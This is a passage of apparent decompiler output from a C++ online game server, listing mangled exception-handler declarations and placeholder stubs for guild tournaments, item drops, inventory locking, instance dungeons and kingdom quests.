*pRN, void *pContext, void *pDC); // void __usercall _L159226(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_GUILD_STORAGEWITHDRAW_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159278(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VGuildStorageElement_GuildStorage____QAEPAVGuildStorageElement_GuildStorage__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159317(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gsm_FindStorage_GuildStorageManager_GuildStorage__QAEPAVGuildStorageElement_2_KPAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163606(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167911(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_GUILD_TOURNAMENT_ZONE_OBSERVER_ENTER_ACK_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164145(int a1); // void __usercall _L164146(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_SetGuildRegNum_ShineMob_ShineObjectClass__UAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164350(int a1); // void __usercall _L164351(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_CHAR_ZONE_LINK_FROM_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165166(int a1); // void __usercall _L165167(int a1); // void __usercall _L165213(int a1); // void __usercall _L165168(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_GuildTournamantStart_WorldManagerSession__QAEXPAUPROTO_NC_GUILD_TOURNAMENT_START_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165518(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildStorageDeactivate_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165595_0(int a1); // void __usercall _L165596_0(int a1); // void __usercall _L167390(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____ErrorSendPlayer_UPROTO_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_ACK____YA_NPAVShineObject_ShineObjectClass__HPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167817(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_Summon2GuildTournament_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_GUILD_TOURNAMENT_START_CMD__PBUGuildTournamentMapStr_FieldOption__PBUMapInfo___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167857(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Guild_Tournamnet_Observer_Enter_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L193603(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__DiceGameStart_GuildTournamentSystem__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179200(int a1); // void __usercall _L179201(int a1); // void __usercall _L179202(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0FlagInfo_GuildTournamentSystem__QAE_ABU01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175299(int a1); // void __usercall _L175596(int a1); // void __usercall _L176035(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Construct_UAdvanMobItemRegenInfo_GuildTournamentSystem__U12__std__YAXPAUAdvanMobItemRegenInfo_GuildTournamentSystem__ABU12__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L189854(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem__U__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem___std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_Gui(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUGate_GuildTournamentSystem__PAU12_V__allocator_UGate_GuildTournamentSystem___std___std__YAPAUGate_GuildTournamentSystem__PAU12_00AAV__allocator_UGate_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUAdvanMobItemRegenInfo_GuildTournamentSystem__PAU12_V__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___std___std__YAPAUAdvanMobItemRegenInfo_GuildTournamentSystem__PAU12_00AAV__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UGuildMemberInfo_GuildTournamentSystem__V__allocator_UGuildMemberInfo_GuildTournamentSystem___std___std__IAEXViterator_12_IABUGuildMemberInfo_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VTickTimer__V__allocator_VTickTimer___std___std__IAEXViterator_12_IABVTickTimer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UTOURNAMENT_PLAYER_SCORE__V__allocator_UTOURNAMENT_PLAYER_SCORE___std___std__IAEXViterator_12_IABUTOURNAMENT_PLAYER_SCORE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem__U__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem___std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSyst(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUGate_GuildTournamentSystem__IU12_V__allocator_UGate_GuildTournamentSystem___std___std__YAXPAUGate_GuildTournamentSystem__IABU12_AAV__allocator_UGate_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUAdvanMobItemRegenInfo_GuildTournamentSystem__IU12_V__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___std___std__YAXPAUAdvanMobItemRegenInfo_GuildTournamentSystem__IABU12_AAV__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUFlagInfo_GuildTournamentSystem__PAU12_V__allocator_UFlagInfo_GuildTournamentSystem___std___std__YAPAUFlagInfo_GuildTournamentSystem__PAU12_00AAV__allocator_UFlagInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L185293(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__PortalResiter_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__KPBD1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L187203(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__CheckManagerUser_GuildGroup_GuildTournamentSystem__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUFlagInfo_GuildTournamentSystem__IU12_V__allocator_UFlagInfo_GuildTournamentSystem___std___std__YAXPAUFlagInfo_GuildTournamentSystem__IABU12_AAV__allocator_UFlagInfo_GuildTournamentSystem___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L202718(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Clear_GuildGroup_GuildTournamentSystem__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L191008(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__SendWinEventToScript_GuildGroup_GuildTournamentSystem__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UGate_GuildTournamentSystem__V__allocator_UGate_GuildTournamentSystem___std___std__IAEXViterator_12_IABUGate_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UAdvanMobItemRegenInfo_GuildTournamentSystem__V__allocator_UAdvanMobItemRegenInfo_GuildTournamentSystem___std___std__IAEXViterator_12_IABUAdvanMobItemRegenInfo_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L197149(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__Update_GuildTournamentSystem__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UFlagInfo_GuildTournamentSystem__V__allocator_UFlagInfo_GuildTournamentSystem___std___std__IAEXViterator_12_IABUFlagInfo_GuildTournamentSystem___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L197783(int a1); // void __usercall _L197784(int a1); // void __usercall _L197785(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__CaptureFlag_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L198583(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__CreateItemEffect_GuildTournamentSystem__QAEXPAVShineObject_ShineObjectClass__0H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L198987(int a1); // void __usercall _L198988(int a1); // void __usercall _L200312(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___A__map_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem__U__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__UGuildMemberInfo_GuildTournamentSystem___std___2__std__QAEAAUGuildMemberInfo_GuildTournamentSystem__ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__1__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L201190(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__GateRegister_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__KGPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L201546(int a1); // void __usercall _L201547(int a1); // void __usercall _L201548(int a1); // void __usercall _L201549(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__DeadPlayer_GuildTournamentSystem__QAEXPAVShineObject_ShineObjectClass__0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L203004(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__FlagRegister_GuildTournamentSystem__QAE_NPAVShineObject_ShineObjectClass__PBD1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L203171(int a1); // void __usercall _L203172(int a1); // void __usercall _L203173(int a1); // void __usercall _L203174(int a1); // void __usercall _L203175(int a1); // void __usercall _L203176(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildGroup_GuildTournamentSystem__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L203851(int a1); // void __usercall _L203852(int a1); // void __usercall _L203853(int a1); // void __usercall _L203854(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0GuildTournamentSystem__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L204141(int a1); // void __usercall _L204142(int a1); // void __usercall _L204143(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1GuildTournamentSystem__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159785_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ScanEnemy4ExpDist__UAEEPAUEnemy_HitMeList__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159049_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ScanEnemy4ExpDist__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159640(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__el_FindLooter_EnemyList_HitMeList__QAEKPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159288(int a1); unsigned int __cdecl _L159289(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__lid_Call_ExperienceDistribute__UAEEPAUEnemy_HitMeList__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159403(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__hml_Load_HitMeList__YAXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159518(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_UEnemy_HitMeList____QAEPAUEnemy_HitMeList__P823_AEHPAV1_GPAU23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159561(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__el_Store_EnemyList_HitMeList__QAEXPAVShineObject_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159735(int a1); // void __usercall _L159736(int a1); // void __usercall _L159737(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__el_ExpDistribute_EnemyList_HitMeList__QAEXPAVShineObject_ShineObjectClass__PBUMobDataBoxIndex_MobDataBox__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159814(int a1); // void __usercall _L159824(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0EnemyList_HitMeList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158771(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_HolyPromiseCenFrom_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151935(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mc_DeleteInstanceDungeon_MapCluster_MapClusterManager__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151650(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_KickPlayer__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151697(int a1); // void __usercall _L151698_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_KickAll_FieldMap__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151733(int a1); // void __usercall _L151734(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_Exist_FieldMap__QAE_NK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151884(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cm_DeleteInstanceDungeon_ClusterManager_MapClusterManager__QAEXW4CATEGORY_INSTANCE_DUNGEON__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151974(int a1); // void __usercall _L151975(int a1); // void __usercall _L151976(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mc_Routine_MapCluster_MapClusterManager__QAEEPAV__List_VMapCluster_MapClusterManager____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L152170(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VMapCluster_MapClusterManager____QAEPAVMapCluster_MapClusterManager__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L152288(int a1); // void __usercall _L152289(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L152376(int a1); // void __usercall _L152377(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_INSTANCE_DUNGEON_FIND_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163391(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_LinkInfo_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161523(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162474(int a1); // void __usercall _L162475(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__la_Store_LotAnalyser_ItemLotAnalyser__QAEXPATITEM_INVEN__PAVItemInventoryCell__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162565(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_CellClear_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162624(int a1); // void __usercall _L162625(int a1); // void __usercall _L162626(int a1); // void __usercall _L162750(int a1); // void __usercall _L162751(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_FurnitureCellClear_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163213(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__icl_Free_InventoryCellLockList_InventoryLocking__UAEXHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163502(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_ULotChanger_ItemLotAnalyser____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163547(int a1); // void __usercall _L163557(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__icl_Apply_N_Free_InventoryCellLockList_InventoryLocking__UAEEPAVShineObject_ShineObjectClass__GE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163722(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0InventoryCellLockList_InventoryLocking__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159176(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smfm_ItemBreakWarn0_ServerMenuFuncter__QAEXPAVShinePlayer_ShineObjectClass__PATServerMenuArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159256(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ib_Break_ItemBreaker__QAEEPAVShinePlayer_ShineObjectClass__PAVItemInventoryCell__TITEM_INVEN__PAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153411(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dilig_Drop_DropItemListInGroup_ItemDropFromMob__QAEXPAVShineObject_ShineObjectClass__PAVShineMob_4_EKK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153586(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1DropIndexCluster_ItemDropFromMob__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153748(int a1); // void __usercall _L153872(int a1); // void __usercall _L153874(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dic_Load_DropIndexCluster_ItemDropFromMob__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153991(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dilfs_Drop_DropItemListForSpecies_ItemDropFromMob__AAEXPAUDropTable_DropItemStruct__PATORToken__PAVShineObject_ShineObjectClass__PAVShineMob_7_EKPAURateRecalc__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154062(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dilfs_ItemDrop_DropItemListForSpecies_ItemDropFromMob__QAEXPATORToken__PAVShineObject_ShineObjectClass__PAVShineMob_5_EKK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154114_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__dic_ItemDrop_DropIndexCluster_ItemDropFromMob__QAEXPAVShineObject_ShineObjectClass__PBUMobDataBoxIndex_MobDataBox__PAVMobBreeder_MobRegenClass__PAVShineMob_4_EKK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L104100(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ItemGroupClassifier__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L104340(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__igc_ChargedDuringUse_ItemGroupClassifier__QAEEPAVItemAttributeClass__PAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147937(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CalcTotalLot_ShinePlayer_ShineObjectClass__QAEHPAVItemBag__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148074(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ili_History_ItemLotInspector__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148381(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ili_Check_ItemLotInspector__QAEEPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159600(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_FillChargedInven_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_ITEMDB_CHARGED_LIST_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159310(int a1); // void __usercall _L159312(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_CHARGED_WITHDRAW_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159640_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__im_Load_ItemMall__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73609(int a1); // void __usercall _L73611(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__rot_Load_RandomOptionTable_ItemRandomOption__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73736(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__rot_FillOption_RandomOptionTable_ItemRandomOption__QAEXPAUItemOptionStorage__PBURandomOptionDatum_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L119662(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_ITEMTOTALINFORM_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166356(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KQElementFunction_ShinePlayer_ShineObjectClass__IAEHP8KQPlayerInform_KingdomQuest__AEHK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164030(int a1); // void __usercall _L164031(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqc_MapUseCheck_KingdomQuestContainer_KingdomQuest__QAEEPATName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164118(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AxialListObjectClear__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164172(int a1); // void __usercall _L164173(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_ClearObject_FieldMap__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164864(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_KQ_W2Z_START_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165171(int a1); // void __usercall _L165172(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KQItemDrop_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165345(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UKQElement_KingdomQuest____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165440(int a1); _EXCEPTION_DISPOSITION __cdecl 